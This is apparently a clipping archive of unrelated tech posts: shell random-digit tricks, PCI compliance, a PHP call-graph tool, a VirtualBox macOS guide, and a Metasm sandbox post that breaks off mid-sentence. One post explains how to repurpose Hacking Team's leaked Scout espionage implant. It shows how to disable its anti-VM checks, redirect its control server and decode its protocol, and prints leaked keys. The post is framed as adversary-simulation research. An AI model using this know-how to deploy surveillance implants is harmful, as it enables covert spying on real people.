    $ **od -A n -N 16 -t u8 /dev/urandom | sed -r 's/ +[0-9]0*//g' | cut -c1-8**  
     28413748
    
[/code]

  
If you run a test on this data, you'll find it yields a nice, even
distribution of leading digits.  
  
Now this method will give us a fairly long string of digits-- up to at least
30 digits or so. But what if we wanted a really long string of numbers? The
answer is just to suck more data out of /dev/urandom:  
  

[code]

    **$** od -A n -N 64 -t u8 /dev/urandom | sed -r 's/ +[0-9]0*//g'  
    6364786111067772577530871020346806310  
    5788133289679762529333695157109594  
    360158217882969288611779773921873084  
    16718162743276945583432311789153227
    
[/code]

  
As you can see, od puts each 16 bytes of data on its own line. So to make this
one continuous stream of digits we need to remove the newlines:  
  

[code]

    **$** od -A n -N 64 -t u8 /dev/urandom | tr \\n ' ' | sed -r 's/ +[0-9]0*//g'  
    3646335685510840910494490828374553833127833877255807760836799932166902525984...
    
[/code]

  
I have to admit that I was feeling pretty good about myself at this point. By
changing the "-N" parameter we can suck any amount of data we need out of
/dev/urandom and produce an arbitrarily long string of random digits.  
  
Then I went back to the CommandLineFu blog and noticed the follow-up comment
by user "bubo", who shows us a much simpler method:  
  

[code]

    **head /dev/urandom | tr -dc 0-9 | cut -c1-8**
[/code]

  
In the tr command, "-c 0-9" means "take the compliment of the set 0-9"-- in
other words, the set of everything that  _is not_ a digit. The "-d" option
means delete all characters in this set from the output. So basically we're
sucking data from /dev/urandom and throwing out everything that's not a digit.
Much tighter than my od solution. Good call, bubo\!  
  
Now what's that I hear? Ah yes, that's Ed's soul making the sound of ultimate
suffering. Don't worry, big guy, I'll let you use loops for this one. I'm
pretty sure Windows doesn't offer anything close to our /dev/urandom solution.  
  
_Update from a Loyal Reader_ : Jeff Haemer, who apparently has even more time
on his hands than I do, came up with yet another solution for this problem
that uses only built-in shell math operators. You can read about his solution
in this blog post. Mmmm, tasty\!  
  
Ed responds:  
Wow, Hal... you really do have too much time on your hands, don't ya?  
  
And, yes, the sound of ultimate suffering started about the time you dumped
your loops and went, well, loopy with /dev/urandom. Still, it was cool stuff,
and I'll take you up on your reprieve from the loop embargo.  
  
I frequently worry about writing shell fu that uses random numbers for fear
that some of my shell gyrations will lower the entropy of an already-
questionable entropy source. If the distribution of pseudo-random digits isn't
quite random enough, and I compound that by using it multiple times, my result
will be less random. Thus, I wouldn't use these solutions for industrial-grade
pseudo-randomness, but they'll pass for casual coin flippers.  
  
As I discussed in Episode \#49, you can generate a random digit between 0 and
32767 using the %random% variable, and then apply modulo arithmetic \(via the
% operator\) to get it between 0 and the number you want. Thus, we can create
a single random digit between 0 and 9 using:  
  

[code]

    C:\> set /a %random% % 10  
    5  
    
    
[/code]

  
Now, Hal wants 8 of these bad boys, which we can do with a FOR loop thusly:  
  

[code]

    C:\> cmd.exe /v:on /c "for /L %i in (1,1,8) do @set /a !random! % 10"  
    03133742
    
[/code]

  
At first, I thought that this would be harder, because echo'ing output always
adds an annoying extra Carriage Return / Linefeed \(CRLF\) at the end. To see
what I mean, try running:  
  

[code]

    C:\> echo hello & echo hello  
    hello  
    hello
    
[/code]

  
But, in my random digit generator, I don't actually echo the output here. I
just use "set /a" to do the math, which does display its result \*without the
extra CRLF\*. That's nice. Makes my command easier. If you need more insight
into the cmd.exe /v:on stuff up front, check out Episode \#46, which describes
delayed variable expansion.  
  
While my solution above is simple and readily extensible to more digits, it
does have some problems. The biggest problem is that it just displays the
number, but doesn't set it in a variable. In fact, my loop never knows what
the full random number it generates is, as it just steps through each
unrelated digit.  
  
A solution that actually puts the number in a variable is more useful for us,
because then we can do further math with our random number, strip off leading
zero digits, and use it in a script.  
  
I can think of a whole bunch of ways to put our results in a variable for
further processing. One that maintains our existing logic is:  
  

[code]

    C:\> for /f %j in ('cmd.exe /v:on /c "for /L %i in (1,1,8) do   
         @set /a !random! % 10"') do @echo %j
    
[/code]

  
  
Here, I'm just using a for /f loop to extract the output of our previous
command into the iterator variable %j.  
  
Another rather different approach that puts our value into a variable involves
generating each digit and appending it to a string:  
  

[code]

    C:\> cmd.exe /v:on /c "set value= & (for /L %i in (1,1,8) do   
         @set /a digit = !random! % 10 > nul & set value=!digit!!value! & echo !value!)"  
    0  
    90  
    490  
    5490  
    55490  
    055490  
    1055490  
    71055490
    
[/code]

  
Here, after turning on delayed variable expansion, I clear the variable called
"value" by simply setting it to nothing with "set value=". Then, I generate
each digit using %random% % 10. Finally, I simply append my value to the new
current digit appended with the old value, building my string digit by digit.
For fun, I echo it out at each iteration so we can see the number being built.
I put an extra set of parens \(\) around my FOR loop to indicate where it
ends, because after that close paren, you can put in more logic.  
  
The nice thing about this approach is that you can now use \!value\! in
follow-up logic and commands to do stuff with it. Stuff like what? Well, how
about this?  
  

[code]

    C:\> cmd.exe /v:on /c "set value= & (for /L %i in (1,1,8) do   
         @set /a digit = !random! % 10 > nul & set value=!digit!!value!   
    & echo !value!) & echo. & echo. & set /a !value! + 10"       
    1  
    61  
    961  
    0961  
    90961  
    590961  
    8590961  
    78590961  
      
      
    78590971
    
[/code]

  
Good\! So, we can gen numbers and then do math with them. Uh... but we have a
problem. Let's try running this again to see what might happen:  
  

[code]

    C:\> cmd.exe /v:on /c "set value= & (for /L %i in (1,1,8) do   
         @set /a digit = !random! % 10 > nul & set value=!digit!!value!   
    & echo !value!) & echo. & echo. & set /a !value! + 10"       
    5  
    45  
    445  
    3445  
    33445  
    233445  
    0233445  
    00233445  
      
      
    79663
    
[/code]

  
What? My sum at the end is waaaaay wrong. What happened? Well, as we discussed
in Episode \#25 on shell math, if you use "set /a" to do math on a number, and
your number has a leading zero, the shell interprets it as frickin' octal. Not
just octal, my friends, but frickin' octal. What's the difference? Octal is a
fun and nice way to refer to numbers. Frickin' octal, on the other hand,
happens when your shell starts using octal and you don't want it to.  
  
So, what can we do here? Well, we can use a variant of the kludge I devised in
Episode \#56 for dealing with leading zeros. We can put a digit in front of
them, and then simply subtract that digit at the end. Here goes:  
  

[code]

    C:\> cmd.exe /v:on /c "set value= & (for /L %i in (1,1,8) do  
        @set /a digit = !random! % 10 > nul & set value=!digit!!value! & echo !value!)  
    & echo. & ech    o. & echo !value! & set interim=1!value! & echo !interim!  
    & set /a result=!inter    im! - 100000000"  
    6  
    86  
    986  
    8986  
    58986  
    058986  
    9058986  
    09058986  
      
      
    09058986  
    109058986  
    9058986
    
[/code]

  
I build my random number as before. Then, I build an interim result using
string operations to prepend a 1 in front of it. Then, I subtract 100000000 at
the end. Now, the variable called result has what I'm looking for. This
approach also has the interest side-effect of removing leading zeros from my
random number because of the math that I do. Also, thankfully, we can add and
remove 100000000 without tripping past our signed 32-bit integer limit here of
around 2 billion. If you need more than 8 digits in your random number, I
suggest you start appending them together.  
  
By the way, I included many echo's of my output to help make this more
understandable. I've cut those down in the following command.  
  

[code]

    C:\> cmd.exe /v:on /c "set value= & (for /L %i in (1,1,8) do   
         @set /a digit = !random! % 10 > nul & set value=!digit!!value!)   
    & set interim=1!value! >nul & set /a result=!interim! - 100000000"       
    76019162  
      
    
    
[/code]

And that one is my final answer, Regis.  
  
_Addendum from Ed_ : In my SANS class yesterday, an attendee asked how he
could fill the screen with Matrix-like spew. Based on this episode, I came up
with:  
  

[code]

    C:\> **cmd.exe /v:on /c "for /L %i in (1,0,2) do @set /a !random!"**
    
[/code]

# Hacking Team’s Galileo RCS – Repurposing espionage software | Hyperion Bristol
**Created:**| _7/16/2015 2:14:04 PM_  
---|---  
**Updated:**| _7/16/2015 2:14:04 PM_  
**Author:**| __  
**Tags:**| _espionage_  
  

As some of you will be aware, the Italian security firm ‘Hacking Team’ was
hacked recently, with 400GB of documents and source code leaked into the wild.

Hacking Team are most famous for their very porous client vetting procedures,
and the leaked documents show sales to a number of somewhat dubious government
regimes. The software that’s been sold is an espionage platform known as the
‘Galileo Remote Control System’. This has several different implants for
different platforms \(including windows, linux, mac, android etc\). In this
post, we’ll look at trying to build a working command and control system for
the lowest tier of the windows implants sold by Hacking Team. If you want to
read more about the system overall, see my other post here:
https://www.4armed.com/blog/hacking-team-rcs-analysis-hacked-team/

\(Note, I’ll be using the terms implant and agent interchangeably to describe
the malicious software used to perform espionage\)

The ‘Scout’ implant is designed to be very small, and is the first piece of
malware dropped onto a target machine \(normally via a browser exploit or
social engineering\). It’s aim is to determine if the computer it’s been
dropped onto is interesting and a valid target, before a more complicated and
advanced implant is deployed. To that end, the agent sends a beacon containing
information about the computer, then sends screenshots at regular intervals
back to a command and control server connected to the internet.

A new trend in the information security world is a tendency towards Adversary
Simulation, or ‘Threat-Intelligence lead penetration testing'; this involves
obtaining specific intelligence about threat actors likely to attack a client,
and then using their specific Tools, Tactics, Techniques and Procedures \(or
TTTPs\) to gain an understanding of the client’s defences against these
actors. To that end, obtaining specific tools and re-purposing them enables us
to simulate specific threat groups with exceptionally high fidelity.

Of course with most malware there is no source code, so it’s very difficult to
tell if the malware we’re controlling has any ‘extra features’ that the threat
group has introduced to protect their software from being re-used. Luckily
here we have the complete source code for both the implants themselves, and
the control system. The control system has some license restrictions on it
\(including a hardware dongle\), so we’ll look at reverse-engineering the
protocol and building our own control system. \(Although later we’ll have a
look at that licensing system…\).

The ‘Scout’ implant code comes pre-packaged as a Visual Studio project, with
the source code and headers nicely organised.

<img src='img/Temp2_3593.png' width='804' height='432' alt='Scout implant in
Visual Studio' />

Scout implant in Visual Studio

The first thing we need to do is disable the Anti-virtual machine protections,
as we’d like to test the setup using a virtual Windows target. The implant
detects VirtualBox, VMWare and the Cuckoo malware sandbox, as well as other
sandboxes such as Comodo’s – if it detects these then it exits without
running.

This is as simple as commenting-out the “AntiVM\(\)” function:

[code]

    BOOL AntiVM()
    {
    	AntiCuckoo();
    	BOOL bVMWare = AntiVMWare();
    	BOOL bVBox = AntiVBox();
    
    	if (bVMWare || bVBox)
    		return TRUE;
    
    	return FALSE;
    }
[/code]

The implant is normally compiled once, and then key parameters are binary
patched to a specific deployment. These parameters are described in the
‘binpatched\_vars.h’ header file.

[code]

    #ifdef _DEBUG_BINPATCH // istanza 'poveri' su castore.
    #define CLIENT_KEY "4yeN5zu0+il3Jtcb5a1sBcAdjYFcsD9z" // per server (auth)
    #define ENCRYPTION_KEY "i6gMR84bxvQovzbhtV-if0SdPMu359ax" // for log
    #define ENCRYPTION_KEY_CONF "uX-o0BOIkiyOyVXH4L3FYhbai-CvMU-_" // for conf e sha12
    #define BACKDOOR_ID "RCS_0000001167" // castore "poveri"
    #define DEMO_TAG "hxVtdxJ/Z8LvK3ULSnKRUmLE"
    #define WMARKER "B3lZ3bupLuI4p7QEPDgNyWacDzNmk1pW"
    #define SYNC_SERVER "192.168.100.100"
    #define SCOUT_NAME "pippopippo"
    #define SCREENSHOT_FLAG "\x00\x00\x00\x00"
    #else
    #define CLIENT_KEY "ANgs9oGFnEL_vxTxe9eIyBx5lZxfd6QZ"
    #define ENCRYPTION_KEY "WfClq6HxbSaOuJGaH5kWXr7dQgjYNSNg"
    #define ENCRYPTION_KEY_CONF "6uo_E0S4w_FD0j9NEhW2UpFw9rwy90LY"
    #define BACKDOOR_ID "EMp7Ca7-fpOBIr"
    #define DEMO_TAG "Pg-WaVyPzMMMMmGbhP6qAigT"
    #define WMARKER "B3lZ3bupLuI4p7QEPDgNyWacDzNmk1pW" // watermark
    #define SYNC_SERVER "SYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNC"
    #define SCOUT_NAME "SCOUTSCOUTSCOUTSCOUT"
    #define SCREENSHOT_FLAG "SHOT"
    #endif
[/code]

So we can change the server to re-direct to one that we own, and we can ensure
that this is the only server that the agent will connect to \(Which is good
for our piece of mind\). The agent connects to it’s control server via HTTP,
so let’s listen on our control server on port 80.

<img src='img/Temp2_3591.png' width='1167' height='124' alt='Scout implant
beacon' />

Scout implant beaconing

So the next thing to do is to decode the protocol. Data sent by the implant is
AES encrypted, then base-64 encoded before being sent by HTTP POST to
“/index.php”. Before the agent sends any useful data however, it performs an
authentication handshake with the server.

<img src='img/Temp2_3592.png' width='698' height='181' alt='Authentication
Protocol' />

Authentication Protocol

The encryption is done using AES in CBC mode, but the initialisation vector
\(IV\) is always set to 16 zeros – This means the protocol is vulnerable to
replay attacks, and possible known-plaintext decryption attacks.

[code]

    VOID Encrypt(PBYTE pBuffer, ULONG uBuffLen, PBYTE pKey, ULONG uPadding)
    {
    	BYTE pInitVector[16];
    	aes_context pAesContext;
    
    	memset(pInitVector, 0x0, BLOCK_LEN);
    	aes_set_key(&pAesContext, pKey, BLOCK_LEN*8);
    
    	if (uPadding == PAD_NOPAD)
    		aes_cbc_encrypt(&pAesContext, pInitVector, pBuffer, pBuffer, uBuffLen);
    	else if (uPadding == PAD_PKCS5)
    		aes_cbc_encrypt_pkcs5(&pAesContext, pInitVector, pBuffer, pBuffer, uBuffLen);
    #ifdef _DEBUG
    	else
    		OutputDebugString(L"Unknown padding\n");
    #endif
    }
[/code]

Once we’ve authenticated to the implant, the implant then sends us a device
information packet, which contains a large amount of useful information, as
shown below:

== System Info Evidence Viewer ==

=================================================

Enter Build ID \{$\}->

\{\*\} – Getting system info for Implant RCS\_0000001167

CPU: 1 x Intel\(R\) Core\(TM\) i7-5500U CPU @ 2.40GHz

Architecture: \(64bit\)

RAM: 639MB free / 1023MB total \(37% used\)

HardDisk: 4637MB free / 25497MB total

Windows Version: Microsoft Windows 7 Professional \(Service Pack 1\) \(64bit\)

Registered to: \#REDACTED USERNAME\# \{\}

Locale: en\_GB \(\(UTC\) Dublin, Edinburgh, Lisbon, London\)

User Info: Mostafa \[ADMIN\]

SID: S-1-5-21-1825426571-686220015-1722707009-1000

Application List \(x86\):

Adobe AIR \(18.0.0.180\)

RCS Console \(15.03.21\)

Python 2.7 – SendKeys 0.3 \(0.3\)

RCS \(2015032101\)

Windows Live Essentials \(16.4.3528.0331\)

Microsoft Visual C++ 2010 x86 Redistributable – 10.0.30319 \(10.0.30319\)

Python 2.7 \(2.7.150\)

Java\(TM\) SE Runtime Environment 6 \(1.6.0.0\)

Microsoft Visual C++ 2008 Redistributable – x86 9.0.30729.17 \(9.0.30729\)

Adobe Reader XI \(11.0.07\) \(11.0.07\)

ApplicationList \(x64\):

Microsoft .NET Framework 4 Client Profile \(4.0.30319\)

Microsoft .NET Framework 4 Extended \(4.0.30319\)

Oracle VM VirtualBox Guest Additions 4.3.10 \(4.3.10.0\)

Microsoft Visual C++ 2008 Redistributable – x64 9.0.30729.17 \(9.0.30729\)

Microsoft Silverlight \(5.1.20513.0\)

Microsoft Visual C++ 2010 x64 Redistributable – 10.0.30319 \(10.0.30319\)

After this, the implant then sends encrypted screenshots – these are encrypted
with the ENCRYPTION\_KEY variable declared in the “binpatched\_vars.h” header
file.

On the server side, we can stitch these together to make an animated ‘video’
of the target’s desktop, allowing us to determine key information before we
commit more complicated tools, this is shown below \(The GIF is 4.5Mb in size,
so it may take a while to load\):

<img src='img/Temp2_3590.png' />

Next time we’ll look at upgrading to the next tier of implant and gathering
more information on the target system, as well as looking at what indicators
of compromise we can determine as network defenders.

# The Five Stages Of PCI

**Created:**| _5/7/2017 10:15:04 AM_  
---|---  
**Updated:**| _5/7/2017 10:15:04 AM_  
**Author:**| __  
**Tags:**| _compliance pci-dss_  
  

  

# PCI Guru

* * *
Had a meeting with a prospect recently that is bound and determined to avoid
PCI compliance yet still will accept payment cards.

My response? Good luck with that\!

You would think after 15 years of PCI \(and actually even longer\) that people
would understand that PCI compliance is a fact of life. But I continue to find
that PCI is no different than the five stages of grief.

_Denial_

This is where that prospect is now. They cannot believe that there is no way
to avoid PCI compliance.

For once and for all, if your organization accepts payment cards, you MUST
comply with the PCI DSS. Do not like that answer? There is nothing as a QSA I
can do to effect that fact.

However, for merchants there is a way out. Do not accept payment cards for
payment. It is that simple.

That answer though immediately leads to the next stage.

_Anger_

I once had a prospect tell me very emphatically that PCI was unenforceable. I
asked them if they had read their Merchant Agreement with the bank that
allowed them to accept payment cards for payments. To my astonishment they
said, “What the \[expletive\] does that have to do with anything?”

You can be angry all you want but PCI compliance is a legal, contractual
requirement documented in the Merchant Agreement, Card Operating Rules and
other documentation referenced in those documents. Someone in your
organization signed that Merchant Agreement – most likely your Chief Financial
Officer \(CFO\), Controller, Treasurer or heaven forbid – the person that is
blowing their cork. That is the person you should share your anger with, not
me. As a QSA, I am just the messenger.

Anger is even worse with service providers. Particularly those that provide
services tangential to card processing such as those that provide network,
firewall or server management services. They had no idea that their
customer\(s\) needed them to be PCI compliant because they never realized that
their service\(s\) could affect the security of payments. These folks get
totally blindsided by PCI compliance and hence their anger.

I have found that anger over PCI can last a long, long time with some
organizations and people. I still have clients that are angry about it. It may
be less aggressively displayed, but you can tell that they are still angry.

_Bargaining_

A lot of organizations get stuck in this stage. They are bound and determined
to find that “silver bullet” that somehow magically gets them to PCI
compliance with the minimum amount of effort \(i.e., none\). They know it is
out there and all they need to do is find it.

Because of this stage and the fact that organizations get stuck in it, there
are any number of “snake oil” PCI compliance solutions that prey on those in
the ‘Bargaining’ stage. All of them have “The Solution” that will solve your
organization’s PCI compliance problem. They have a pitch for every day of the
week and for every situation. Just ask them. But at the end of the day, all of
these solutions just address one or two PCI compliance issues and do not
result in that magical “silver bullet” that those in this stage continue to
seek.

Another indicator of organizations stuck in this stage are that they go
through compliance and IT leaders like a teenage girl goes through boyfriends.
You immediately know an organization is in the ‘Bargaining’ stage as a QSA
because you are always dealing with someone new every year.

Another telltale of a ‘Bargaining’ stage organization is that they are
constantly arguing with their QSA over what PCI DSS requirements they need to
comply. PCI is not anything at all like “Let’s Make A Deal”. It gets even
worse when they argue the PCI DSS like it is a legal document and you get
discussions over the meaning of the word ‘is’. At the end of the day, your QSA
or acquiring bank cannot cut you a deal on what PCI DSS requirements your
organization can ignore.

The bottom line is that the absolute least level of PCI compliance any
organization can have are the requirements documented in SAQ A. Period. There
is nothing less than those requirements. And SAQ A requires that an
organization totally outsource to a third party everything related to card
processing. And I do mean everything. Nine times out of ten, complete
outsourcing is unacceptable to organizations who demand control over their
business processes and the “look and feel” of their operations.

_Depression_

Once an organization realizes that there are no “silver bullets”, depression
quickly sets in. With some clients you can see depression get deeper with
every data breach announcement that hits the media. All they can imagine is
that their organization is next.

Then there is the fact that PCI compliance is going to cause changes and cost
people, time and money to address compliance gaps. This is where a good QSA
can be of great help. A good QSA can give you options to minimize those
resources. Good QSAs understand that most merchants do not exist on huge
margins and that investments with an ROI of more than three years are very
painful and difficult to justify.

Unfortunately, in a lot of cases, there are not a lot of options available and
even good QSAs are not miracle workers. This is particularly true when the
organization has not invested in infrastructure and application software in a
long time. Worse is when they have invested \(usually heavily\) in one or more
of those “silver bullets” from the ‘Bargaining’ stage and they assist in their
compliance efforts only minimally.

_Acceptance_

I would like to tell you that I have a lot of clients in this stage, but I do
not. Although the number is growing slowly but surely.

But the good news is that if you can get your organization to this stage,
there are benefits.

The biggest benefit in my view is that organizations in Acceptance “get”
security and why it is a necessary “evil” in today’s ever more connected
world. Never mind the PCI component.

Those at this stage are great to deal with because they have taken steps to
minimize their PCI scope and simplify their card processing as much as
possible. They have standardized processes. They understand that PCI
compliance improves their organization’s security. And not just for the
security of cardholder data but for the security of all sensitive information
and the whole organization. Their investments in PCI compliance have paid off
\(sometime in spades\) as they simplified their operations and got rid of
sensitive information that they have no longer deemed necessary to retain.

A lot of organizations in this stage have integrated some or all of the PCI
DSS requirements into their everyday operations. As a result, PCI compliance
is a daily affair, not the once a year fire drill that it is for most
organizations.

These organizations are not perfect by any sense of the word. But they are a
level or more above other organizations and that is all it takes. Because
information security is no different than those movies that show a herd of
animals being chased by a lion or tiger. To survive, you just have to make
sure that you are not one of the weakest animals in the pack. Or as a friend
of mine has said for years, “My security program does not have to be the best,
just better than yours.”

  

# phpCallGraph - A Static Call Graph Generator for PHP

**Created:**| _3/15/2012 3:23:04 PM_  
---|---  
**Updated:**| _3/15/2012 2:23:40 PM_  
**Author:**| __  
**Tags:**| _code-review Graphs php_  
  

# phpCallGraph - A Call Graph Generator for PHP

**phpCallGraph** is a tool to generate static call graphs for PHP source code.
Such a graph visualizes the call dependencies among methods or functions of an
application. Arrows represent calls from one method to another method. Classes
are drawn as rectangles containing the respective methods. The graphs can be
leveraged to gain a better understanding of large PHP applications or even to
debunk design flaws in them.

The example call graph on the right shows the main class of phpCallGraph
itself and the internal dependencies among its methods. It is also possible to
visualize calls to internal functions of PHP and to some extend call
dependencies among different classes. Have a look at the example call graphs
to get an impression.

The core of the call graph generator forms an object-oriented PHP5 library,
which may also be integrated in other projects. It leverages the InstantSVC
CodeAnalyzer and DOT. On top of it, a commandline application allows easy
creation of call graphs in various formats, e.g. text, png, jpg or svg.
phpCallGraph is free software licensed under GPLv3.

<img src='img/Temp2_10558.png' width='128' height='128' />

## Use.

  * **Grab the latest release:**  
phpcallgraph-0.8.0.tar.gz  
phpcallgraph-0.8.0.zip

  * Change Log
  * Older Versions

<img src='img/Temp2_10559.png' width='128' height='128' />

## Study.

  * Documentation
  * Examples
  * Presentations

  
  

<img src='img/Temp2_10556.png' width='128' height='128' />

## Share.

  * Join the Mailing List
  * Project Page at SourceForge
  * Statistics

  
  

<img src='img/Temp2_10557.png' width='128' height='128' />

## Improve.

  * Report a Bug
  * Suggest a Feature
  * Submit a Patch
  * Subversion Repository

  

I'm developing phpCallGraph just for fun in my spare time and I'm always eger
on getting feedback or feature requests. Especially, let me know if you are
analyzing any free software, since I collect example call graphs. If you would
like to work with the code or test some own visualization ideas, feel free to
join the project. I'm happy to give anyone, who is interested, access to the
SVN Repository. Just drop me a mail to fakko at users dot sf dot net.

Greetings from Berlin,  
Falko  

### Other PHP Visualization Projects

phUML - A UML generator for PHP \(see A Call Graph of phUML\)  
A class graph generator \(see also this update\)  
phpDocumentor - The documentation generator for PHP which also features
partial call graphs

# Install OS X 10.10 Yosemite in VirtualBox

**Created:**| _6/8/2015 4:11:40 PM_  
---|---  
**Updated:**| _6/8/2015 4:11:40 PM_  
**Author:**| __  
**Tags:**| _Mac-hacking_  
  

# Install OS X 10.10 Yosemite in VirtualBox

Sunday, May 31, 2015

The guide below explains how to install OS X Yosemite 10.10 in a virtual
machine using the free and powerful VirtualBox.

<img src='img/Temp2_4469.png' />

It's based on this pastebin I've found via Google, markdownified and adjusted
to work with the official Yosemite release.

_Legal disclaimer_ : This guide aims to explain how to create a virtual
machine on a regularly purchased Apple computer, running a genuine Mac OS X
operating system, for testing purposes only.

### Howto

  1. Download Yosemite from the App Store 
  2. Open Terminal.app 
  3. Install `iesd`, to customize OS X InstallESD:   
`gem install iesd`

  4. Turn install image into base system:   
`iesd -i "/Applications/Install OS X Yosemite.app" -o yosemite.dmg -t
BaseSystem`

  5. Convert into UDSP \(sparse image\) format:   
`hdiutil convert yosemite.dmg -format UDSP -o yosemite.sparseimage`

  6. Mount the InstallESD ...   
`hdiutil mount "/Applications/Install OS X
Yosemite.app/Contents/SharedSupport/InstallESD.dmg"`

  7. ... as well as the sparse image:   
`hdiutil mount yosemite.sparseimage`

  8. Copy base system into sparse image:   
`cp "/Volumes/OS X Install ESD/BaseSystem."* "/Volumes/OS X Base System/"`

  9. Unmound InstallESD ...   
`hdiutil unmount "/Volumes/OS X Install ESD/"`

  10. ... as well as the sparse image:   
`hdiutil unmount "/Volumes/OS X Base System/"`

  11. Unmount both mounted disks: 
     * via `diskutil`:   
`diskutil unmountDisk $(diskutil list | grep "OS X Base System" -B 4 | head -1)`   
`diskutil unmountDisk $(diskutil list | grep "OS X Install ESD" -B 4 | head -1)`
     * if that doesn't work and you get a "resource busy" message in step 12, try using the Disk Utility: 
<img src='img/Temp2_4468.png' />

  12. Convert back to UDZO format \(compressed image\):   
`hdiutil convert yosemite.sparseimage -format UDZO -o yosemitefixed.dmg`

  13. Add `yosemitefixed.dmg` as a live cd in virtual box 
  14. Change the chipset of your virtual machine to "_PIIX3_ "
  15. Start your VM, open Disk Utility within installer and create a new HFS+ partition on the virtual disk 
  16. Install it\!

##### Error message: "Kernel driver not installed \(rc=-1908\)"

Try to reinstall VirtualBox to fix this error

##### Stuck on boot: "Missing Bluetooth Controller Transport"

Try the following steps to fix this issue:

  1. Stop the virtual machine in VirtualBox 
  2. Open a new terminal window 
  3. Run the following command to adjust the guest CPU \(Replace `<YourVMname>` with your actual VM name\):   
`VBoxManage modifyvm '<YourVMname>' --cpuidset 1 000206a7 02100800 1fbae3bf
bfebfbff`

### Sources

# x64 spoon - Sogeti ESEC Lab

**Created:**| _2/17/2011 5:06:12 PM_  
---|---  
**Updated:**| _2/17/2011 5:06:27 PM_  
**Author:**| __  
**Tags:**| _reversing x64_  
  

## x64 spoon

By ivan » Wednesday 16 February 2011, 17:34 - Tools

While coding and debugging some low-level stuff I sometime need to write a
little piece of assembly code to see if i'm right. Until now, I was writing
code into a process debugged with OllyDbg, and steping it. Pretty ugly, but it
works when you want to know what a "smsw eax" is doing. Last time, I was
confronted to the X64 reality, where no public tool like OllyDbg allow you to
debug a 64-bit process on Windows. So I decided to write a little application
to see how some 64-bit instructions are running.

Just for the fun I started this project on Linux X86\_64, and just because
it's cool the code is running into a "sandboxed" environment.

I know Linux provides a nice feature for hardened sandboxing called SECCOMP.
The idea is, you can only use 4 syscalls:read\(\), write\(\), exit\(\) and
sigreturn. Of course read\(\) and write\(\) can only be called on existing
opened file descriptors, so this can be pretty safe. This feature is even use
by Chrome for its Linux sandbox. If you are interested, more details are given
by Nicolás Bareil in Sandboxing based on SECCOMP for Linux kernel.

Also, I'm using Linux X86\_64 but I wanted to run both 64-bit and 32-bit code
snippets without having 2 different processes. You know 64-bit kernels
\(CONFIG\_X86\_64\) allow you to run 32-bit native applications if you compile
in support forCONFIG\_IA32\_EMULATION.

A few words about X64 computing. For the CPU this mode is called IA-32e mode
\(or long-mode\). To enable it you need to set bit LME \(Long Mode Enabled\)
in MSR IA32\_EFER \(see Intel manual vol 3A : Initializing IA-32e Mode\). Then
if you want to run 64-bit code your must setup a code segment \(CS\) with bit
L \(64-bit code segment\) at 1 and D \(operand-size\) to 0. \(Intel manual vol
3A: Segment Descriptors\). So if you want to run both 32-bit and 64-bit code
with the same kernel, you must have at least two segment descriptors in your
GDT, or have 2 GDTs \(General Descriptor Table\). One entry must have L=1 and
D=0, for 64-bit code, and the other L=0 and D=1 for 32-bit code. Linux uses 1
GDT, with 2 segments named GDT\_ENTRY\_DEFAULT\_USER\_CS and
GDT\_ENTRY\_DEFAULT\_USER32\_CS. For your indication cs64=0x33 \(RPL:3 TABLE:0
INDEX:6\) and cs32=0x23 \(RPL:3 TABLE:0 INDEX:4\)

So if you want to run pure 32-bit code into a 64-bit task you "just" need to
update your segment selector. This task can be hard because you cannot just
change your CS segment selector with a MOV instruction, other ways are
provided to do this.

In order to perform this hack I chose the famous Metasm framework. So here is
my configuration:

`ivan@converge:~$ ruby -v  
ruby 1.8.7 (2010-08-16 patchlevel 302) [x86_64-linux]  
ivan@converge:~$ hg clone https://metasm.cr0.org/hg/metasm  
requesting all changes  
adding changesets  
adding manifests  
adding file changes  
added 2239 changesets with 4294 changes to 306 files  
updating to branch default  
217 files updated, 0 files merged, 0 files removed, 0 files unresolved  
ivan@converge:~$ export RUBYLIB=~/metasm`

For my POC i want to have my Ruby process and:

  * Grab some assembly \(64 or 32\) and compile it.
  * Create a subprocess with restrictions: limited access to resources and SECCOMP mode enabled. The subprocess can exchange with his parent only via a dedicated pipe.
  * Run the shellcode in a basic environment. All GPRs \(General Purpose Register\) cleared and a clean stack. Code and data segments are flats \(they address all the memory\). FS and GS are not supported.
  * Read the result with the parent. I'll use the GPRs final values as result.

### Do it yourself

For the first part we will use the Shellcode class from Metasm. With method
_assemble_ we easily assemble what we want by specifying the target CPU. We
will use the X86\_64 CPU for now, so only assemble 64-bit code. You can obtain
the raw assembly with the  _encode\_string_ method on the Shellcode object.
For example:

[code]

    asm=Metasm::Shellcode.assemble(Metasm::X86_64.new, shellcode_src).encode_string
    
    
[/code]

And you got your code in asm variable.

The next part requires creating a subprocess. For this we just fork\(\) and
after that, in the child, we setup some limits :

  * CPU user time and memory allocation are limited with setrlimit\(\) calls, on RLIMIT\_CPU and RLIMIT\_AS. The  _setrlimit_ and  _fork_ methods are directly provided by the core ruby class Process.

  * To close all possible opened file descriptors \(because Ruby's runtime could have opened some FDs I'm not aware of\) I decided to use syscall close\(\) because I cannot find a sysclose\(\) method in Ruby IO's class \(even if sysopen\(\) is present ...\). But it's impossible to directly use LIBC functions from Ruby. Impossible? Not for Metasm \! I used Metasm's DynLdrmodule, its role is closed to python module CTYPES. It provides you a wrapper for any native library. So you can wrap a function like memfrob\(\) and invoke it from your Ruby code.

Moreover, the DynLdr module allows to compile and run asm or C code directly
in the Ruby process. Pretty useful isn't it?

So if I want to close all fds except mine, I can write:

`dl=Metasm::DynLdr  
dl.new_func_c <<EOS  
int close(int);  
void closefds(int max, int keep)  
{  
int fd;  
for(fd=0; fd<=max; fd++)  
if(keep!=fd)  
close(fd);  
}  
EOS  
dl.closefds(maxfd, wr.fileno)`

Notice the  _new\_func\_c_ method, it parses the C source and compiles it on
the fly \! You can even call stdlib functions.

  * To enable SECCOMP mode you call prctl\(\) with option PR\_SET\_SECCOMP \(22\). Very easy now with DynLdr:

`# enter SECCOMP mode  
dl.new_api_c("int prctl(int option, long, long, long, long);",
"/lib/libc.so.6")  
if not dl.respond_to? :prctl  
puts "[-] prctl not found"  
return  
end  
  
status=dl.prctl(22, 1, 0, 0, 0)  
if status!=0  
puts "[-] prctl call failed"  
return  
end`

This time I didn't use  _new\_func\_c_ but  _new\_api\_c_ , with this one you
can declare an extern C function from its prototype to make it available from
the Ruby. Here the second argument \(libc.so.6\) is not necessary because all
GNU libc exports are already defined in metasm/os/gnu\_exports.rb ; but now
